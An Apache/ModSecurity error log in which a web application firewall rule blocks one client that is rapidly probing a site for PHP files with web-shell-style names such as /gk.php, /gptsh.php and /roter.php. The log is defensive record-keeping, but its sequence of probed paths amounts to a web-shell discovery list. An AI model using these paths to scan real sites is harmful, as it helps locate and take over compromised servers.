[Sun Mar 29 02:17:17.150290 2026] [:error] [pid 39514:tid 39529] [client 20.197.233.108:23064] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gk.php"] [unique_id "acgbLSkUyvlQod6qQu2kPAAAAMQ"]
[Sun Mar 29 02:17:17.781326 2026] [:error] [pid 39514:tid 39539] [client 20.197.233.108:23041] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gk.php"] [unique_id "acgbLSkUyvlQod6qQu2kQQAAAM4"]
[Sun Mar 29 02:17:18.421817 2026] [:error] [pid 39427:tid 39451] [client 20.197.233.108:22938] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gk.php"] [unique_id "acgbLlvLf0RDUqcYq-ZPOQAAABM"]
[Sun Mar 29 02:17:19.041310 2026] [:error] [pid 39514:tid 39550] [client 20.197.233.108:22966] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws85.php"] [unique_id "acgbLykUyvlQod6qQu2kQgAAANg"]
[Sun Mar 29 02:17:19.667196 2026] [:error] [pid 39514:tid 39529] [client 20.197.233.108:22937] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws85.php"] [unique_id "acgbLykUyvlQod6qQu2kSAAAAMQ"]
[Sun Mar 29 02:17:20.291564 2026] [:error] [pid 39514:tid 39540] [client 20.197.233.108:23078] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws85.php"] [unique_id "acgbMCkUyvlQod6qQu2kSgAAAM8"]
[Sun Mar 29 02:17:20.913166 2026] [:error] [pid 39514:tid 39538] [client 20.197.233.108:23047] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws85.php"] [unique_id "acgbMCkUyvlQod6qQu2kTgAAAM0"]
[Sun Mar 29 02:17:21.534706 2026] [:error] [pid 39427:tid 39435] [client 20.197.233.108:15308] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws82.php"] [unique_id "acgbMVvLf0RDUqcYq-ZPOwAAAAM"]
[Sun Mar 29 02:17:22.164151 2026] [:error] [pid 39428:tid 39475] [client 20.197.233.108:23250] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws82.php"] [unique_id "acgbMqXMrozFMIaP8nIC_wAAAFA"]
[Sun Mar 29 02:17:22.790426 2026] [:error] [pid 39427:tid 39434] [client 20.197.233.108:23054] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws82.php"] [unique_id "acgbMlvLf0RDUqcYq-ZPPgAAAAI"]
[Sun Mar 29 02:17:23.406445 2026] [:error] [pid 39514:tid 39540] [client 20.197.233.108:23057] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws82.php"] [unique_id "acgbMykUyvlQod6qQu2kUwAAAM8"]
[Sun Mar 29 02:17:24.029303 2026] [:error] [pid 39428:tid 39472] [client 20.197.233.108:23283] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws81.php"] [unique_id "acgbNKXMrozFMIaP8nIDBAAAAE0"]
[Sun Mar 29 02:17:24.648700 2026] [:error] [pid 39514:tid 39532] [client 20.197.233.108:23238] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ws81.php"] [unique_id "acgbNCkUyvlQod6qQu2kVQAAAMc"]
[Sun Mar 29 02:17:39.113940 2026] [:error] [pid 60346:tid 60366] [client 20.197.233.108:23237] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vaza.php"] [unique_id "acgbQ3VrXSgLxlxLi9A7EwAAAQ8"]
[Sun Mar 29 02:17:39.744100 2026] [:error] [pid 39427:tid 39441] [client 20.197.233.108:23051] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vaza.php"] [unique_id "acgbQ1vLf0RDUqcYq-ZPVAAAAAk"]
[Sun Mar 29 02:17:40.362295 2026] [:error] [pid 39429:tid 39495] [client 20.197.233.108:23272] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vaza.php"] [unique_id "acgbRE8pSj6sqgZaItnl2gAAAIk"]
[Sun Mar 29 02:17:40.982931 2026] [:error] [pid 39427:tid 39445] [client 20.197.233.108:23284] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vaza.php"] [unique_id "acgbRFvLf0RDUqcYq-ZPWwAAAA0"]
[Sun Mar 29 02:17:41.599555 2026] [:error] [pid 39427:tid 39455] [client 20.197.233.108:22944] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cvz.php"] [unique_id "acgbRVvLf0RDUqcYq-ZPXQAAABc"]
[Sun Mar 29 02:17:42.219569 2026] [:error] [pid 39427:tid 39452] [client 20.197.233.108:15310] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cvz.php"] [unique_id "acgbRlvLf0RDUqcYq-ZPYAAAABQ"]
[Sun Mar 29 02:17:42.838057 2026] [:error] [pid 60346:tid 60365] [client 20.197.233.108:23232] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cvz.php"] [unique_id "acgbRnVrXSgLxlxLi9A7FgAAAQ4"]
[Sun Mar 29 02:17:43.456499 2026] [:error] [pid 60346:tid 60371] [client 20.197.233.108:23096] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cvz.php"] [unique_id "acgbR3VrXSgLxlxLi9A7GgAAARQ"]
[Sun Mar 29 02:17:44.074848 2026] [:error] [pid 60346:tid 60370] [client 20.197.233.108:22925] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wtiiy.php"] [unique_id "acgbSHVrXSgLxlxLi9A7HAAAARM"]
[Sun Mar 29 02:17:44.696849 2026] [:error] [pid 60346:tid 60368] [client 20.197.233.108:22967] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wtiiy.php"] [unique_id "acgbSHVrXSgLxlxLi9A7IAAAARE"]
[Sun Mar 29 02:17:45.314877 2026] [:error] [pid 39514:tid 39524] [client 20.197.233.108:23234] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wtiiy.php"] [unique_id "acgbSSkUyvlQod6qQu2kbwAAAMA"]
[Sun Mar 29 02:17:45.942263 2026] [:error] [pid 39427:tid 39436] [client 20.197.233.108:22972] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wtiiy.php"] [unique_id "acgbSVvLf0RDUqcYq-ZPZgAAAAQ"]
[Sun Mar 29 02:17:46.564608 2026] [:error] [pid 39429:tid 39499] [client 20.197.233.108:23070] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aee.php"] [unique_id "acgbSk8pSj6sqgZaItnl3gAAAI0"]
[Sun Mar 29 02:17:47.188865 2026] [:error] [pid 39429:tid 39510] [client 20.197.233.108:23282] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aee.php"] [unique_id "acgbS08pSj6sqgZaItnl3wAAAJg"]
[Sun Mar 29 02:17:47.823582 2026] [:error] [pid 39427:tid 39447] [client 20.197.233.108:22947] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aee.php"] [unique_id "acgbS1vLf0RDUqcYq-ZPaAAAAA8"]
[Sun Mar 29 02:17:48.445361 2026] [:error] [pid 60346:tid 60359] [client 20.197.233.108:22952] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aee.php"] [unique_id "acgbTHVrXSgLxlxLi9A7KQAAAQg"]
[Sun Mar 29 02:17:49.062280 2026] [:error] [pid 39427:tid 39452] [client 20.197.233.108:23087] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sweg.php"] [unique_id "acgbTVvLf0RDUqcYq-ZPaQAAABQ"]
[Sun Mar 29 02:17:49.682958 2026] [:error] [pid 39427:tid 39449] [client 20.197.233.108:15342] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sweg.php"] [unique_id "acgbTVvLf0RDUqcYq-ZPawAAABE"]
[Sun Mar 29 02:17:50.307891 2026] [:error] [pid 39514:tid 39538] [client 20.197.233.108:23099] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sweg.php"] [unique_id "acgbTikUyvlQod6qQu2kcwAAAM0"]
[Sun Mar 29 02:17:50.933205 2026] [:error] [pid 39514:tid 39542] [client 20.197.233.108:23090] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sweg.php"] [unique_id "acgbTikUyvlQod6qQu2kdAAAANE"]
[Sun Mar 29 02:17:51.549767 2026] [:error] [pid 39428:tid 39464] [client 20.197.233.108:22934] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sql.php"] [unique_id "acgbT6XMrozFMIaP8nIDFwAAAEU"]
[Sun Mar 29 02:17:52.167379 2026] [:error] [pid 39514:tid 39546] [client 20.197.233.108:23086] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sql.php"] [unique_id "acgbUCkUyvlQod6qQu2kdgAAANU"]
[Sun Mar 29 02:17:52.795883 2026] [:error] [pid 39427:tid 39447] [client 20.197.233.108:23249] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sql.php"] [unique_id "acgbUFvLf0RDUqcYq-ZPcQAAAA8"]
[Sun Mar 29 02:17:53.418145 2026] [:error] [pid 60346:tid 60372] [client 20.197.233.108:23098] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sql.php"] [unique_id "acgbUXVrXSgLxlxLi9A7MAAAARU"]
[Sun Mar 29 02:17:54.035792 2026] [:error] [pid 60346:tid 60369] [client 20.197.233.108:22932] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sc.php"] [unique_id "acgbUnVrXSgLxlxLi9A7MwAAARI"]
[Sun Mar 29 02:17:54.663042 2026] [:error] [pid 60346:tid 60368] [client 20.197.233.108:22960] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sc.php"] [unique_id "acgbUnVrXSgLxlxLi9A7NQAAARE"]
[Sun Mar 29 02:17:55.281843 2026] [:error] [pid 39427:tid 39435] [client 20.197.233.108:23085] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sc.php"] [unique_id "acgbU1vLf0RDUqcYq-ZPdwAAAAM"]
[Sun Mar 29 02:17:55.902901 2026] [:error] [pid 60346:tid 60358] [client 20.197.233.108:23278] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sc.php"] [unique_id "acgbU3VrXSgLxlxLi9A7OAAAAQc"]
[Sun Mar 29 02:17:56.531424 2026] [:error] [pid 39428:tid 39478] [client 20.197.233.108:23093] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eee.php"] [unique_id "acgbVKXMrozFMIaP8nIDGgAAAFM"]
[Sun Mar 29 02:17:57.153271 2026] [:error] [pid 60346:tid 60362] [client 20.197.233.108:22936] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eee.php"] [unique_id "acgbVXVrXSgLxlxLi9A7PAAAAQs"]
[Sun Mar 29 02:17:57.790618 2026] [:error] [pid 60346:tid 60375] [client 20.197.233.108:15314] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eee.php"] [unique_id "acgbVXVrXSgLxlxLi9A7PgAAARg"]
[Sun Mar 29 02:17:58.409018 2026] [:error] [pid 39514:tid 39536] [client 20.197.233.108:23080] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eee.php"] [unique_id "acgbVikUyvlQod6qQu2keQAAAMs"]
[Sun Mar 29 02:17:59.035706 2026] [:error] [pid 60346:tid 60369] [client 20.197.233.108:22958] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gptsh.php"] [unique_id "acgbV3VrXSgLxlxLi9A7QAAAARI"]
[Sun Mar 29 02:17:59.659477 2026] [:error] [pid 39514:tid 39547] [client 20.197.233.108:23062] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gptsh.php"] [unique_id "acgbVykUyvlQod6qQu2kewAAANY"]
[Sun Mar 29 02:18:00.291497 2026] [:error] [pid 60346:tid 60353] [client 20.197.233.108:23084] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gptsh.php"] [unique_id "acgbWHVrXSgLxlxLi9A7QgAAAQI"]
[Sun Mar 29 02:18:00.915471 2026] [:error] [pid 60346:tid 60364] [client 20.197.233.108:15296] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gptsh.php"] [unique_id "acgbWHVrXSgLxlxLi9A7RgAAAQ0"]
[Sun Mar 29 02:18:01.535164 2026] [:error] [pid 60346:tid 60354] [client 20.197.233.108:22957] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "acgbWXVrXSgLxlxLi9A7SgAAAQM"]
[Sun Mar 29 02:18:02.152895 2026] [:error] [pid 39427:tid 39450] [client 20.197.233.108:22914] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "acgbWlvLf0RDUqcYq-ZPgQAAABI"]
[Sun Mar 29 02:18:02.771273 2026] [:error] [pid 60346:tid 60351] [client 20.197.233.108:22955] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "acgbWnVrXSgLxlxLi9A7TgAAAQA"]
[Sun Mar 29 02:18:03.387574 2026] [:error] [pid 60346:tid 60364] [client 20.197.233.108:23295] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xda.php"] [unique_id "acgbW3VrXSgLxlxLi9A7UgAAAQ0"]
[Sun Mar 29 02:18:04.003983 2026] [:error] [pid 39427:tid 39436] [client 20.197.233.108:15313] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/roter.php"] [unique_id "acgbXFvLf0RDUqcYq-ZPgwAAAAQ"]
[Sun Mar 29 02:18:04.633097 2026] [:error] [pid 60346:tid 60351] [client 20.197.233.108:22916] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/roter.php"] [unique_id "acgbXHVrXSgLxlxLi9A7WAAAAQA"]
[Sun Mar 29 02:18:05.251603 2026] [:error] [pid 60346:tid 60371] [client 20.197.233.108:23074] [client 20.197.233.108] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/roter.php"] [unique_id "acgbXXVrXSgLxlxLi9A7WwAAARQ"]
